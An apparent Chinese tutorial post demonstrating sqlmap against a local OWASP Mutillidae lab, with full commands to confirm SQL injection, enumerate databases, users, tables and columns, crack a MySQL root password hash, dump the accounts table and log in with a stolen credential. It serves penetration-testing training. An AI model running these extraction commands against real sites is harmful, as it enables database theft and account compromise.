sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据

目录结构

利用SQLMap自动化工具,可判断某个带参数的url是否可被SQL注入,继而获取数据库和服务器的相关敏感数据和信息(如:库、表、列、字段值、数据库和服务器的名称&版本...)。本文以本地环境搭建的Web漏洞环境(OWASP Mutillidae+phpStudy)进行测试,具体操作流程如下:

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第1张图片

Mutillidae漏洞程序

备注说明:因操作系统中同时安装有Python2和Python3的环境,为了区分两个版本,所以在以下sqlmap的操作命令中用python2开头,具体根据各自配置情况决定(常规情况直接用python开头)

一、判断被测url的参数是否存在注入点

python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details"实际操作可以加上参数--batch,不用每次都提示作选择[Y/N]

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第2张图片

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第3张图片

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第4张图片

从以上信息可知:1)被测url中的username参数存在注入点,可被利用注入的类型有(布尔盲注、报错注入、基于时间的盲注、联合查询注入);2)以及Web应用程序所采用的服务环境(DBMS、OS、PHP、Apache)的名称和版本号;3)检测的结果会自动保存到设定的目录下供查看

二、获取数据库系统的所有数据库名称(暴库)

枚举DBMS所有数据库: --dbs

SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --dbs

执行结果:检测列出了Mysql数据库管理系统中的6个数据库

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第5张图片

三、获取Web应用当前所连接的数据库

检索DBMS当前数据库: --current-db

SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-db

执行结果:当前连接的数据库是nowasp

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第6张图片

四、获取Web应用当前所操作的DBMS用户

检索DBMS当前用户: --current-user

SQLMap执行命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-user

执行结果:当前操作的用户未root权限的超级用户

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第7张图片

五、列出数据库中的所有用户

枚举DBMS所有用户: --users

SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --users

执行结果:DBMS中的所有用户都是root权限的超级用户

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第8张图片

六、列出数据库中所有账户-对应的密码哈希

枚举DBMS所有用户的密码哈希: --passwords

SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --passwords过程中,需要选择是否执行对密码哈希的解密,利用到SQLMap内置的密码字典进行攻击

执行结果:root用户的密码哈希是*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,解密之后是root

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第9张图片

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第10张图片

七、列出指定数据库中的所有数据表

枚举DBMS数据库中的所有表: -D xx库 --tables

首先再查看一下第二步中检测出的所有数据库名称:

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第11张图片

比如本次选择检测数据库为nowasp,则SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp --tables

执行结果:检测nowasp数据库,列出了其下的13个表

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第12张图片

八、列出指定数据表中的所有字段(列)

枚举DBMS数据库表中的所有列: -D xx库 -T xx表 --columns

SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts --columns

执行结果:检测列出了nowasp数据库->accounts表中的所有7个字段名称及其类型

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第13张图片

九、导出指定数据表中的列字段进行保存

导出DBMS数据表项: -D xx库 -T xx表 -C "字段1,字段2,..." --dump

SQLMap操作命令:(导出部分字段)python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts -C "cid,is_admin,username,password" --dump

执行结果:检测列出了指定的字段值

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第14张图片

若不指定某几个字段的导出,想要导出所有字段值,则可以采用命令如-D nowasp -T accounts --dump

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第15张图片

导出的结果会自动存储到特定的文件路径下

80cf3ff604aea0d7748cf25303732377.png

十、根据导出的数据,验证数据有效性

从刚才导出的字段值中,选取一组username/password:admin---adminpass

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第16张图片

输入选取的用户名和密码之后,检验账户信息,确实存在此账户,如下:

sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据_第17张图片

你可能感兴趣的:(sqlmap获取mysql数据库_(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据)